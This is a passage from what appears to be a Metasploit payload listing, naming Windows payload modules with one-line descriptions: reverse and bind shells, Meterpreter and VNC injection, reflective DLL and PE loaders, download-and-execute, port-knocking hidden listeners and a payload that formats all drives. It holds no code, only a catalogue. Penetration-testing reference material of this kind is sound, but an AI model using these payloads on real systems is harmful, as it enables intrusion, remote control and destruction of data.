n KHOST. This IP will work as an authentication method (you ca
n spoof it with tools like hping). After that you could get yo
ur shellcode from any IP. The socket will appear as "closed,"
thus helping to hide the shellcode
windows/dllinject/bind_hidden_tcp Inject a DLL via a reflective loader. Listen for a connection
from a hidden port and spawn a command shell to the allowed ho
st.
windows/dllinject/bind_ipv6_tcp Inject a DLL via a reflective loader. Listen for an IPv6 conne
ction (Windows x86)
windows/dllinject/bind_ipv6_tcp_uuid Inject a DLL via a reflective loader. Listen for an IPv6 conne
ction with UUID Support (Windows x86)
windows/dllinject/bind_named_pipe Inject a DLL via a reflective loader. Listen for a pipe connec
tion (Windows x86)
windows/dllinject/bind_nonx_tcp Inject a DLL via a reflective loader. Listen for a connection
(No NX)
windows/dllinject/bind_tcp Inject a DLL via a reflective loader. Listen for a connection
(Windows x86)
windows/dllinject/bind_tcp_rc4 Inject a DLL via a reflective loader. Listen for a connection
windows/dllinject/bind_tcp_uuid Inject a DLL via a reflective loader. Listen for a connection
with UUID Support (Windows x86)
windows/dllinject/find_tag Inject a DLL via a reflective loader. Use an established conne
ction
windows/dllinject/reverse_hop_http Inject a DLL via a reflective loader. Tunnel communication ove
r an HTTP or HTTPS hop point. Note that you must first upload
data/hop/hop.php to the PHP server you wish to use as a hop.
windows/dllinject/reverse_http Inject a DLL via a reflective loader. Tunnel communication ove
r HTTP (Windows wininet)
windows/dllinject/reverse_http_proxy_pstore Inject a DLL via a reflective loader. Tunnel communication ove
r HTTP
windows/dllinject/reverse_ipv6_tcp Inject a DLL via a reflective loader. Connect back to the atta
cker over IPv6
windows/dllinject/reverse_nonx_tcp Inject a DLL via a reflective loader. Connect back to the atta
cker (No NX)
windows/dllinject/reverse_ord_tcp Inject a DLL via a reflective loader. Connect back to the atta
cker
windows/dllinject/reverse_tcp Inject a DLL via a reflective loader. Connect back to the atta
cker
windows/dllinject/reverse_tcp_allports Inject a DLL via a reflective loader. Try to connect back to t
he attacker, on all possible ports (1-65535, slowly)
windows/dllinject/reverse_tcp_dns Inject a DLL via a reflective loader. Connect back to the atta
cker
windows/dllinject/reverse_tcp_rc4 Inject a DLL via a reflective loader. Connect back to the atta
cker
windows/dllinject/reverse_tcp_rc4_dns Inject a DLL via a reflective loader. Connect back to the atta
cker
windows/dllinject/reverse_tcp_uuid Inject a DLL via a reflective loader. Connect back to the atta
cker with UUID Support
windows/dllinject/reverse_winhttp Inject a DLL via a reflective loader. Tunnel communication ove
r HTTP (Windows winhttp)
windows/dns_txt_query_exec Performs a TXT query against a series of DNS record(s) and exe
cutes the returned payload
windows/download_exec Download an EXE from an HTTP(S)/FTP URL and execute it
windows/exec Execute an arbitrary command
windows/format_all_drives This payload formats all mounted disks in Windows (aka Shellco
deOfDeath). After formatting, this payload sets the volume lab
el to the string specified in the VOLUMELABEL option. If the c
ode is unable to access a drive for any reason, it skips the d
rive and proceeds to the next volume.
windows/loadlibrary Load an arbitrary library path
windows/messagebox Spawns a dialog via MessageBox using a customizable title, tex
t & icon
windows/meterpreter/bind_hidden_ipknock_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a connection. First, the port will need to be knocked fr
om the IP defined in KHOST. This IP will work as an authentica
tion method (you can spoof it with tools like hping). After th
at you could get your shellcode from any IP. The socket will a
ppear as "closed," thus helping to hide the shellcode
windows/meterpreter/bind_hidden_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a connection from a hidden port and spawn a command shel
l to the allowed host.
windows/meterpreter/bind_ipv6_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for an IPv6 connection (Windows x86)
windows/meterpreter/bind_ipv6_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for an IPv6 connection with UUID Support (Windows x86)
windows/meterpreter/bind_named_pipe Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a pipe connection (Windows x86)
windows/meterpreter/bind_nonx_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a connection (No NX)
windows/meterpreter/bind_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a connection (Windows x86)
windows/meterpreter/bind_tcp_rc4 Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a connection
windows/meterpreter/bind_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a connection with UUID Support (Windows x86)
windows/meterpreter/find_tag Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Use a
n established connection
windows/meterpreter/reverse_hop_http Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over an HTTP or HTTPS hop point. Note that you
must first upload data/hop/hop.php to the PHP server you wish
to use as a hop.
windows/meterpreter/reverse_http Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTP (Windows wininet)
windows/meterpreter/reverse_http_proxy_pstore Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTP
windows/meterpreter/reverse_https Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTPS (Windows wininet)
windows/meterpreter/reverse_https_proxy Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTP using SSL with custom proxy support
windows/meterpreter/reverse_ipv6_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker over IPv6
windows/meterpreter/reverse_named_pipe Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker via a named pipe pivot
windows/meterpreter/reverse_nonx_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker (No NX)
windows/meterpreter/reverse_ord_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker
windows/meterpreter/reverse_tcp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker
windows/meterpreter/reverse_tcp_allports Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Try t
o connect back to the attacker, on all possible ports (1-65535
, slowly)
windows/meterpreter/reverse_tcp_dns Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker
windows/meterpreter/reverse_tcp_rc4 Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker
windows/meterpreter/reverse_tcp_rc4_dns Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker
windows/meterpreter/reverse_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker with UUID Support
windows/meterpreter/reverse_winhttp Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTP (Windows winhttp)
windows/meterpreter/reverse_winhttps Inject the Meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTPS (Windows winhttp)
windows/meterpreter_bind_named_pipe Connect to victim and spawn a Meterpreter shell. Requires Wind
ows XP SP2 or newer.
windows/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell. Requires Wind
ows XP SP2 or newer.
windows/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell. Requir
es Windows XP SP2 or newer.
windows/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell. Requir
es Windows XP SP2 or newer.
windows/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell. Requir
es Windows XP SP2 or newer.
windows/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell. Requir
es Windows XP SP2 or newer.
windows/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
windows/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
windows/patchupdllinject/bind_hidden_ipknock_tcp Inject a custom DLL into the exploited process. Listen for a c
onnection. First, the port will need to be knocked from the IP
defined in KHOST. This IP will work as an authentication meth
od (you can spoof it with tools like hping). After that you co
uld get your shellcode from any IP. The socket will appear as
"closed," thus helping to hide the shellcode
windows/patchupdllinject/bind_hidden_tcp Inject a custom DLL into the exploited process. Listen for a c
onnection from a hidden port and spawn a command shell to the
allowed host.
windows/patchupdllinject/bind_ipv6_tcp Inject a custom DLL into the exploited process. Listen for an
IPv6 connection (Windows x86)
windows/patchupdllinject/bind_ipv6_tcp_uuid Inject a custom DLL into the exploited process. Listen for an
IPv6 connection with UUID Support (Windows x86)
windows/patchupdllinject/bind_named_pipe Inject a custom DLL into the exploited process. Listen for a p
ipe connection (Windows x86)
windows/patchupdllinject/bind_nonx_tcp Inject a custom DLL into the exploited process. Listen for a c
onnection (No NX)
windows/patchupdllinject/bind_tcp Inject a custom DLL into the exploited process. Listen for a c
onnection (Windows x86)
windows/patchupdllinject/bind_tcp_rc4 Inject a custom DLL into the exploited process. Listen for a c
onnection
windows/patchupdllinject/bind_tcp_uuid Inject a custom DLL into the exploited process. Listen for a c
onnection with UUID Support (Windows x86)
windows/patchupdllinject/find_tag Inject a custom DLL into the exploited process. Use an establi
shed connection
windows/patchupdllinject/reverse_ipv6_tcp Inject a custom DLL into the exploited process. Connect back t
o the attacker over IPv6
windows/patchupdllinject/reverse_nonx_tcp Inject a custom DLL into the exploited process. Connect back t
o the attacker (No NX)
windows/patchupdllinject/reverse_ord_tcp Inject a custom DLL into the exploited process. Connect back t
o the attacker
windows/patchupdllinject/reverse_tcp Inject a custom DLL into the exploited process. Connect back t
o the attacker
windows/patchupdllinject/reverse_tcp_allports Inject a custom DLL into the exploited process. Try to connect
back to the attacker, on all possible ports (1-65535, slowly)
windows/patchupdllinject/reverse_tcp_dns Inject a custom DLL into the exploited process. Connect back t
o the attacker
windows/patchupdllinject/reverse_tcp_rc4 Inject a custom DLL into the exploited process. Connect back t
o the attacker
windows/patchupdllinject/reverse_tcp_rc4_dns Inject a custom DLL into the exploited process. Connect back t
o the attacker
windows/patchupdllinject/reverse_tcp_uuid Inject a custom DLL into the exploited process. Connect back t
o the attacker with UUID Support
windows/patchupmeterpreter/bind_hidden_ipknock_tcp Inject the meterpreter server DLL (staged). Listen for a conne
ction. First, the port will need to be knocked from the IP def
ined in KHOST. This IP will work as an authentication method (
you can spoof it with tools like hping). After that you could
get your shellcode from any IP. The socket will appear as "clo
sed," thus helping to hide the shellcode
windows/patchupmeterpreter/bind_hidden_tcp Inject the meterpreter server DLL (staged). Listen for a conne
ction from a hidden port and spawn a command shell to the allo
wed host.
windows/patchupmeterpreter/bind_ipv6_tcp Inject the meterpreter server DLL (staged). Listen for an IPv6
connection (Windows x86)
windows/patchupmeterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL (staged). Listen for an IPv6
connection with UUID Support (Windows x86)
windows/patchupmeterpreter/bind_named_pipe Inject the meterpreter server DLL (staged). Listen for a pipe
connection (Windows x86)
windows/patchupmeterpreter/bind_nonx_tcp Inject the meterpreter server DLL (staged). Listen for a conne
ction (No NX)
windows/patchupmeterpreter/bind_tcp Inject the meterpreter server DLL (staged). Listen for a conne
ction (Windows x86)
windows/patchupmeterpreter/bind_tcp_rc4 Inject the meterpreter server DLL (staged). Listen for a conne
ction
windows/patchupmeterpreter/bind_tcp_uuid Inject the meterpreter server DLL (staged). Listen for a conne
ction with UUID Support (Windows x86)
windows/patchupmeterpreter/find_tag Inject the meterpreter server DLL (staged). Use an established
connection
windows/patchupmeterpreter/reverse_ipv6_tcp Inject the meterpreter server DLL (staged). Connect back to th
e attacker over IPv6
windows/patchupmeterpreter/reverse_nonx_tcp Inject the meterpreter server DLL (staged). Connect back to th
e attacker (No NX)
windows/patchupmeterpreter/reverse_ord_tcp Inject the meterpreter server DLL (staged). Connect back to th
e attacker
windows/patchupmeterpreter/reverse_tcp Inject the meterpreter server DLL (staged). Connect back to th
e attacker
windows/patchupmeterpreter/reverse_tcp_allports Inject the meterpreter server DLL (staged). Try to connect bac
k to the attacker, on all possible ports (1-65535, slowly)
windows/patchupmeterpreter/reverse_tcp_dns Inject the meterpreter server DLL (staged). Connect back to th
e attacker
windows/patchupmeterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL (staged). Connect back to th
e attacker
windows/patchupmeterpreter/reverse_tcp_rc4_dns Inject the meterpreter server DLL (staged). Connect back to th
e attacker
windows/patchupmeterpreter/reverse_tcp_uuid Inject the meterpreter server DLL (staged). Connect back to th
e attacker with UUID Support
windows/peinject/bind_hidden_ipknock_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a connection. First, the port will
need to be knocked from the IP defined in KHOST. This IP will
work as an authentication method (you can spoof it with tools
like hping). After that you could get your shellcode from any
IP. The socket will appear as "closed," thus helping to hide
the shellcode
windows/peinject/bind_hidden_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a connection from a hidden port an
d spawn a command shell to the allowed host.
windows/peinject/bind_ipv6_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for an IPv6 connection (Windows x86)
windows/peinject/bind_ipv6_tcp_uuid Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for an IPv6 connection with UUID Suppo
rt (Windows x86)
windows/peinject/bind_named_pipe Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a pipe connection (Windows x86)
windows/peinject/bind_nonx_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a connection (No NX)
windows/peinject/bind_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a connection (Windows x86)
windows/peinject/bind_tcp_rc4 Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a connection
windows/peinject/bind_tcp_uuid Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a connection with UUID Support (Wi
ndows x86)
windows/peinject/find_tag Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Use an established connection
windows/peinject/reverse_ipv6_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker over IPv6
windows/peinject/reverse_named_pipe Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker via a named pipe
pivot
windows/peinject/reverse_nonx_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker (No NX)
windows/peinject/reverse_ord_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker
windows/peinject/reverse_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker
windows/peinject/reverse_tcp_allports Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Try to connect back to the attacker, on all p
ossible ports (1-65535, slowly)
windows/peinject/reverse_tcp_dns Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker
windows/peinject/reverse_tcp_rc4 Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker
windows/peinject/reverse_tcp_rc4_dns Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker
windows/peinject/reverse_tcp_uuid Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker with UUID Suppor
t
windows/pingback_bind_tcp Open a socket and report UUID when a connection is received (W
indows x86)
windows/pingback_reverse_tcp Connect back to attacker and report UUID (Windows x86)
windows/powershell_bind_tcp Listen for a connection and spawn an interactive powershell se
ssion
windows/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell se
ssion
windows/powershell_reverse_tcp_ssl Listen for a connection and spawn an interactive powershell se
ssion over SSL
windows/shell/bind_hidden_ipknock_tcp Spawn a piped command shell (staged). Listen for a connection.
First, the port will need to be knocked from the IP defined i
n KHOST. This IP will work as an authentication method (you ca
n spoof it with tools like hping). After that you could get yo
ur shellcode from any IP. The socket will appear as "closed,"
thus helping to hide the shellcode
windows/shell/bind_hidden_tcp Spawn a piped command shell (staged). Listen for a connection
from a hidden port and spawn a command shell to the allowed ho
st.
windows/shell/bind_ipv6_tcp Spawn a piped command shell (staged). Listen for an IPv6 conne
ction (Windows x86)
windows/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (staged). Listen for an IPv6 conne
ction with UUID Support (Windows x86)
windows/shell/bind_named_pipe Spawn a piped command shell (staged). Listen for a pipe connec
tion (Windows x86)
windows/shell/bind_nonx_tcp Spawn a piped command shell (staged). Listen for a connection
(No NX)
windows/shell/bind_tcp Spawn a piped command shell (staged). Listen for a connection
(Windows x86)
windows/shell/bind_tcp_rc4 Spawn a piped command shell (staged). Listen for a connection
windows/shell/bind_tcp_uuid Spawn a piped command shell (staged). Listen for a connection
with UUID Support (Windows x86)
windows/shell/find_tag Spawn a piped command shell (staged). Use an established conne
ction
windows/shell/reverse_ipv6_tcp Spawn a piped command shell (staged). Connect back to the atta
cker over IPv6
windows/shell/reverse_nonx_tcp Spawn a piped command shell (staged). Connect back to the atta
cker (No NX)
windows/shell/reverse_ord_tcp Spawn a piped command shell (staged). Connect back to the atta
cker
windows/shell/reverse_tcp Spawn a piped command shell (staged). Connect back to the atta
cker
windows/shell/reverse_tcp_allports Spawn a piped command shell (staged). Try to connect back to t
he attacker, on all possible ports (1-65535, slowly)
windows/shell/reverse_tcp_dns Spawn a piped command shell (staged). Connect back to the atta
cker
windows/shell/reverse_tcp_rc4 Spawn a piped command shell (staged). Connect back to the atta
cker
windows/shell/reverse_tcp_rc4_dns Spawn a piped command shell (staged). Connect back to the atta
cker
windows/shell/reverse_tcp_uuid Spawn a piped command shell (staged). Connect back to the atta
cker with UUID Support
windows/shell/reverse_udp Spawn a piped command shell (staged). Connect back to the atta
cker with UUID Support
windows/shell_bind_tcp Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spaw
n a command shell
windows/shell_hidden_bind_tcp Listen for a connection from certain IP and spawn a command sh
ell. The shellcode will reply with a RST packet if the connect
ions is not coming from the IP defined in AHOST. This way the
port will appear as "closed" helping us to hide the shellcode.
windows/shell_reverse_tcp Connect back to attacker and spawn a command shell
windows/speak_pwned Causes the target to say "You Got Pwned" via the Windows Speec
h API
windows/upexec/bind_hidden_ipknock_tcp Uploads an executable and runs it (staged). Listen for a conne
ction. First, the port will need to be knocked from the IP def
ined in KHOST. This IP will work as an authentication method (
you can spoof it with tools like hping). After that you could
get your shellcode from any IP. The socket will appear as "clo
sed," thus helping to hide the shellcode
windows/upexec/bind_hidden_tcp Uploads an executable and runs it (staged). Listen for a conne
ction from a hidden port and spawn a command shell to the allo
wed host.
windows/upexec/bind_ipv6_tcp Uploads an executable and runs it (staged). Listen for an IPv6
connection (Windows x86)
windows/upexec/bind_ipv6_tcp_uuid Uploads an executable and runs it (staged). Listen for an IPv6
connection with UUID Support (Windows x86)
windows/upexec/bind_named_pipe Uploads an executable and runs it (staged). Listen for a pipe
connection (Windows x86)
windows/upexec/bind_nonx_tcp Uploads an executable and runs it (staged). Listen for a conne
ction (No NX)
windows/upexec/bind_tcp Uploads an executable and runs it (staged). Listen for a conne
ction (Windows x86)
windows/upexec/bind_tcp_rc4 Uploads an executable and runs it (staged). Listen for a conne
ction
windows/upexec/bind_tcp_uuid Uploads an executable and runs it (staged). Listen for a conne
ction with UUID Support (Windows x86)
windows/upexec/find_tag Uploads an executable and runs it (staged). Use an established
connection
windows/upexec/reverse_ipv6_tcp Uploads an executable and runs it (staged). Connect back to th
e attacker over IPv6
windows/upexec/reverse_nonx_tcp Uploads an executable and runs it (staged). Connect back to th
e attacker (No NX)
windows/upexec/reverse_ord_tcp Uploads an executable and runs it (staged). Connect back to th
e attacker
windows/upexec/reverse_tcp Uploads an executable and runs it (staged). Connect back to th
e attacker
windows/upexec/reverse_tcp_allports Uploads an executable and runs it (staged). Try to connect bac
k to the attacker, on all possible ports (1-65535, slowly)
windows/upexec/reverse_tcp_dns Uploads an executable and runs it (staged). Connect back to th
e attacker
windows/upexec/reverse_tcp_rc4 Uploads an executable and runs it (staged). Connect back to th
e attacker
windows/upexec/reverse_tcp_rc4_dns Uploads an executable and runs it (staged). Connect back to th
e attacker
windows/upexec/reverse_tcp_uuid Uploads an executable and runs it (staged). Connect back to th
e attacker with UUID Support
windows/upexec/reverse_udp Uploads an executable and runs it (staged). Connect back to th
e attacker with UUID Support
windows/vncinject/bind_hidden_ipknock_tcp Inject a VNC Dll via a reflective loader (staged). Listen for
a connection. First, the port will need to be knocked from the
IP defined in KHOST. This IP will work as an authentication m
ethod (you can spoof it with tools like hping). After that you
could get your shellcode from any IP. The socket will appear
as "closed," thus helping to hide the shellcode
windows/vncinject/bind_hidden_tcp Inject a VNC Dll via a reflective loader (staged). Listen for
a connection from a hidden port and spawn a command shell to t
he allowed host.
windows/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Listen for
an IPv6 connection (Windows x86)
windows/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for
an IPv6 connection with UUID Support (Windows x86)
windows/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (staged). Listen for
a pipe connection (Windows x86)
windows/vncinject/bind_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Listen for
a connection (No NX)
windows/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (staged). Listen for
a connection (Windows x86)
windows/vncinject/bind_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Listen for
a connection
windows/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for
a connection with UUID Support (Windows x86)
windows/vncinject/find_tag Inject a VNC Dll via a reflective loader (staged). Use an esta
blished connection
windows/vncinject/reverse_hop_http Inject a VNC Dll via a reflective loader (staged). Tunnel comm
unication over an HTTP or HTTPS hop point. Note that you must
first upload data/hop/hop.php to the PHP server you wish to us
e as a hop.
windows/vncinject/reverse_http Inject a VNC Dll via a reflective loader (staged). Tunnel comm
unication over HTTP (Windows wininet)
windows/vncinject/reverse_http_proxy_pstore Inject a VNC Dll via a reflective loader (staged). Tunnel comm
unication over HTTP
windows/vncinject/reverse_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Connect bac
k to the attacker over IPv6
windows/vncinject/reverse_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Connect bac
k to the attacker (No NX)
windows/vncinject/reverse_ord_tcp Inject a VNC Dll via a reflective loader (staged). Connect bac
k to the attacker
windows/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (staged). Connect bac
k to the attacker
windows/vncinject/reverse_tcp_allports Inject a VNC Dll via a reflective loader (staged). Try to conn
ect back to the attacker, on all possible ports (1-65535, slow
ly)
windows/vncinject/reverse_tcp_dns Inject a VNC Dll via a reflective loader (staged). Connect bac
k to the attacker
windows/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Connect bac
k to the attacker
windows/vncinject/reverse_tcp_rc4_dns Inject a VNC Dll via a reflective loader (staged). Connect bac
k to the attacker
windows/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Connect bac
k to the attacker with UUID Support
